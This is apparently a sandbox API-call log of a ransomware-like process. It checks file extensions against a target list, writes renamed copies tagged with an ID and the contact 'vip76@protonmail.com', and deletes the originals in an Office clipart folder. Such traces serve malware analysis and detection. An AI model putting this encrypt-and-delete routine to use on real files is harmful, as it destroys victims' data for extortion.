	[0193.337] ReadFile (in: hFile=0x5c4, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x1560, lpOverlapped=0x0) returned 1
	[0193.339] WriteFile (in: hFile=0x538, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x1570, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x1570, lpOverlapped=0x0) returned 1
	[0193.340] ReadFile (in: hFile=0x5c4, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.341] WriteFile (in: hFile=0x538, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0193.341] SetEndOfFile (hFile=0x538) returned 1
	[0193.341] CloseHandle (hObject=0x538) returned 1
	[0193.341] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.341] SetEndOfFile (hFile=0x5c4) returned 1
	[0193.345] CloseHandle (hObject=0x5c4) returned 1
	[0193.345] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0193.345] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf")) returned 1
	[0193.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0193.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0193.347] lstrlenW (lpString=".doc") returned 4
	[0193.347] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.347] lstrlenW (lpString=".docx") returned 5
	[0193.347] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0193.347] lstrlenW (lpString=".pdf") returned 4
	[0193.347] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.347] lstrlenW (lpString=".xls") returned 4
	[0193.347] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.347] lstrlenW (lpString=".xlsx") returned 5
	[0193.347] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0193.347] lstrlenW (lpString=".ppt") returned 4
	[0193.347] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0193.347] lstrlenW (lpString=".zip") returned 4
	[0193.347] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.347] lstrlenW (lpString=".rar") returned 4
	[0193.347] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.347] lstrlenW (lpString=".bz2") returned 4
	[0193.347] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.347] lstrlenW (lpString=".7z") returned 3
	[0193.347] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0193.347] lstrlenW (lpString=".dbf") returned 4
	[0193.347] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0193.347] lstrlenW (lpString=".1cd") returned 4
	[0193.347] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0193.348] lstrlenW (lpString=".jpg") returned 4
	[0193.348] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0193.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0193.348] lstrlenW (lpString=".doc") returned 4
	[0193.348] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.348] lstrlenW (lpString=".docx") returned 5
	[0193.348] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0193.348] lstrlenW (lpString=".pdf") returned 4
	[0193.348] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.348] lstrlenW (lpString=".xls") returned 4
	[0193.348] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.348] lstrlenW (lpString=".xlsx") returned 5
	[0193.348] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0193.348] lstrlenW (lpString=".ppt") returned 4
	[0193.348] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0193.348] lstrlenW (lpString=".zip") returned 4
	[0193.348] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.348] lstrlenW (lpString=".rar") returned 4
	[0193.348] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.348] lstrlenW (lpString=".bz2") returned 4
	[0193.348] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.348] lstrlenW (lpString=".7z") returned 3
	[0193.348] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0193.349] lstrlenW (lpString=".dbf") returned 4
	[0193.349] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0193.349] lstrlenW (lpString=".1cd") returned 4
	[0193.349] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0193.349] lstrlenW (lpString=".jpg") returned 4
	[0193.349] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.349] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0193.349] lstrlenW (lpString="J0105504.WMF") returned 12
	[0193.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0193.350] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=4148) returned 1
	[0193.350] CloseHandle (hObject=0x5c4) returned 1
	[0193.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf")) returned 0x220
	[0193.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0193.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0193.351] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.351] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0193.352] GetLastError () returned 0x0
	[0193.352] ReadFile (in: hFile=0x5c4, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x1034, lpOverlapped=0x0) returned 1
	[0193.355] WriteFile (in: hFile=0x538, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x1040, lpOverlapped=0x0) returned 1
	[0193.356] ReadFile (in: hFile=0x5c4, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.356] WriteFile (in: hFile=0x538, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0193.356] SetEndOfFile (hFile=0x538) returned 1
	[0193.356] CloseHandle (hObject=0x538) returned 1
	[0193.356] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.357] SetEndOfFile (hFile=0x5c4) returned 1
	[0193.359] CloseHandle (hObject=0x5c4) returned 1
	[0193.360] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0193.360] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf")) returned 1
	[0193.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0193.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0193.515] lstrlenW (lpString=".doc") returned 4
	[0193.515] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.515] lstrlenW (lpString=".docx") returned 5
	[0193.515] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0193.516] lstrlenW (lpString=".pdf") returned 4
	[0193.516] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.516] lstrlenW (lpString=".xls") returned 4
	[0193.516] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.516] lstrlenW (lpString=".xlsx") returned 5
	[0193.516] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0193.516] lstrlenW (lpString=".ppt") returned 4
	[0193.516] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0193.516] lstrlenW (lpString=".zip") returned 4
	[0193.516] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.516] lstrlenW (lpString=".rar") returned 4
	[0193.516] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.516] lstrlenW (lpString=".bz2") returned 4
	[0193.516] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.516] lstrlenW (lpString=".7z") returned 3
	[0193.516] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0193.516] lstrlenW (lpString=".dbf") returned 4
	[0193.516] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0193.516] lstrlenW (lpString=".1cd") returned 4
	[0193.516] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0193.516] lstrlenW (lpString=".jpg") returned 4
	[0193.516] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0193.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0193.517] lstrlenW (lpString=".doc") returned 4
	[0193.517] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.517] lstrlenW (lpString=".docx") returned 5
	[0193.517] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0193.517] lstrlenW (lpString=".pdf") returned 4
	[0193.517] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.517] lstrlenW (lpString=".xls") returned 4
	[0193.517] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.517] lstrlenW (lpString=".xlsx") returned 5
	[0193.517] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0193.517] lstrlenW (lpString=".ppt") returned 4
	[0193.517] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0193.517] lstrlenW (lpString=".zip") returned 4
	[0193.517] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.517] lstrlenW (lpString=".rar") returned 4
	[0193.517] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.517] lstrlenW (lpString=".bz2") returned 4
	[0193.517] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.517] lstrlenW (lpString=".7z") returned 3
	[0193.517] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0193.517] lstrlenW (lpString=".dbf") returned 4
	[0193.517] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0193.517] lstrlenW (lpString=".1cd") returned 4
	[0193.518] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0193.518] lstrlenW (lpString=".jpg") returned 4
	[0193.518] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.518] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0193.518] lstrlenW (lpString="J0105520.WMF") returned 12
	[0193.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0193.520] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=31812) returned 1
	[0193.520] CloseHandle (hObject=0x510) returned 1
	[0193.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf")) returned 0x220
	[0193.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0193.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0193.521] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.521] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0193.522] GetLastError () returned 0x0
	[0193.522] ReadFile (in: hFile=0x510, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x7c44, lpOverlapped=0x0) returned 1
	[0193.526] WriteFile (in: hFile=0x5c4, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x7c50, lpOverlapped=0x0) returned 1
	[0193.528] ReadFile (in: hFile=0x510, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.528] WriteFile (in: hFile=0x5c4, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0193.528] SetEndOfFile (hFile=0x5c4) returned 1
	[0193.529] CloseHandle (hObject=0x5c4) returned 1
	[0193.529] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.529] SetEndOfFile (hFile=0x510) returned 1
	[0193.532] CloseHandle (hObject=0x510) returned 1
	[0193.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0193.532] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf")) returned 1
	[0193.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0193.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0193.534] lstrlenW (lpString=".doc") returned 4
	[0193.534] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.534] lstrlenW (lpString=".docx") returned 5
	[0193.534] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0193.534] lstrlenW (lpString=".pdf") returned 4
	[0193.534] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.534] lstrlenW (lpString=".xls") returned 4
	[0193.534] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.534] lstrlenW (lpString=".xlsx") returned 5
	[0193.534] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0193.534] lstrlenW (lpString=".ppt") returned 4
	[0193.534] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0193.534] lstrlenW (lpString=".zip") returned 4
	[0193.535] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.535] lstrlenW (lpString=".rar") returned 4
	[0193.535] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.535] lstrlenW (lpString=".bz2") returned 4
	[0193.535] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.535] lstrlenW (lpString=".7z") returned 3
	[0193.535] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0193.535] lstrlenW (lpString=".dbf") returned 4
	[0193.535] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0193.535] lstrlenW (lpString=".1cd") returned 4
	[0193.535] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0193.535] lstrlenW (lpString=".jpg") returned 4
	[0193.535] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0193.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0193.535] lstrlenW (lpString=".doc") returned 4
	[0193.535] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.535] lstrlenW (lpString=".docx") returned 5
	[0193.535] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0193.535] lstrlenW (lpString=".pdf") returned 4
	[0193.535] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.535] lstrlenW (lpString=".xls") returned 4
	[0193.536] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.536] lstrlenW (lpString=".xlsx") returned 5
	[0193.536] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0193.536] lstrlenW (lpString=".ppt") returned 4
	[0193.536] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0193.536] lstrlenW (lpString=".zip") returned 4
	[0193.536] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.536] lstrlenW (lpString=".rar") returned 4
	[0193.536] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.536] lstrlenW (lpString=".bz2") returned 4
	[0193.536] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.536] lstrlenW (lpString=".7z") returned 3
	[0193.536] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0193.536] lstrlenW (lpString=".dbf") returned 4
	[0193.536] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0193.536] lstrlenW (lpString=".1cd") returned 4
	[0193.536] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0193.536] lstrlenW (lpString=".jpg") returned 4
	[0193.536] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.536] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0193.537] lstrlenW (lpString="J0105526.WMF") returned 12
	[0193.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0193.538] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=17332) returned 1
	[0193.538] CloseHandle (hObject=0x510) returned 1
	[0193.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf")) returned 0x220
	[0193.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0193.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0193.538] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.539] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0193.539] GetLastError () returned 0x0
